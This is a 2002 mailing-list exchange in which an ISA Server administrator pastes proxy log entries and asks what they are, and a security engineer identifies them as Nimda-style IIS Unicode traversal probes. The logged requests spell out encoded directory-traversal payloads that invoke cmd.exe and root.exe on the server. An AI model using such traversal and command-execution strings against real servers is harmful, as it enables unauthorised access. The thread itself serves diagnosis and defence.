RE: Block these entries inISA logs please!!!!!!

  • From: "Sandro Gauci" <sandro@xxxxxxx>
  • To: "[ISAserver.org Discussion List]" <isalist@xxxxxxxxxxxxx>
  • Date: Tue, 12 Mar 2002 11:59:59 +0100

Hi Vinay,

that looks like an attempt by Nimda worm or maybe some attacker. This
worm infects 
other hosts by making use of the UNICODE attack. 

Make sure your IIS servers are protected against this and other attacks.

Check out the microsoft security page regarding this. 

http://www.microsoft.com/technet/prodtechnol/isa/deploy/isanimda.asp


Regards 

------------------------------------------------------------
 Sandro Gauci - Security Engineer - GFI - http://www.gfi.com
------------------------------------------------------------


-----Original Message-----
From: Vinaykumar G [mailto:G.Vinay@xxxxxxxxx]
Sent: Tuesday, March 12, 2002 11:16 AM
To: [ISAserver.org Discussion List]
Subject: [isalist] Block these entries inISA logs please!!!!!!
Importance: High


http://www.ISAserver.org


Hi All,
         Can anyone let me know as how we can block these strange
entries in
my ISA Log. What is someone exactly trying to execute?
What should be done to block these entries?I have ISA in integrated mode
with win2k server fully patched.

xxx.xxx.xxx.xxx anonymous       -       N       2002-03-10      06:55:16
W3ReverseProxy  ISAICR  -       -       -       -       -       -
97
-       TCP     GET
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir
401     -       12202   0       Default rule    -
xxx.xxx.xxx.xxx anonymous       -       N       2002-03-10      06:55:18
W3ReverseProxy  ISAICR  -       -       -       -       -       -
97
-       TCP     GET
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir
401     -       12202   0       Default rule    -
xxx.xxx.xxx.xxx anonymous       -       N       2002-03-10      06:55:19
W3ReverseProxy  ISAICR  -       -       -       -       -       -
98
-       TCP     GET
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir
401     -       12202   0       Default rule    -
xxx.xxx.xxx.xxx anonymous       -       N       2002-03-10      06:55:21
W3ReverseProxy  ISAICR  -       -       -       -       -       -
96
-       TCP     GET     /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir
401     -       12202   0       Default rule    -
xxx.xxx.xxx.xxx anonymous       -       N       2002-03-10      06:55:23
W3ReverseProxy  ISAICR  -       -       -       -       -       -
100
-       TCP     GET
/scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir
401     -       12202   0       Default rule    -
xxx.xxx.xxx.xxx anonymous       -       N       2002-03-10      06:55:25
W3ReverseProxy  ISAICR  -       -       -       -       -       -
96
-       TCP     GET     /scripts/..%252f../winnt/system32/cmd.exe?/c+dir
-       12202   0       Default rule    -
xxx.xxx.xxx.xxx anonymous       -       N       2002-03-10      12:47:07
W3ReverseProxy  ISAICR  -       -       -       -       -       -
72
-       TCP     GET     /scripts/root.exe?/c+dir        -       -
12202   0       Default rule    -
xxx.xxx.xxx.xxx anonymous       -       N       2002-03-10      12:47:09
W3ReverseProxy  ISAICR  -       -       -       -       -       -
70
-       TCP     GET     /MSADC/root.exe?/c+dir  -       -       12202
0
Default rule    -

Regards,
Vinay.

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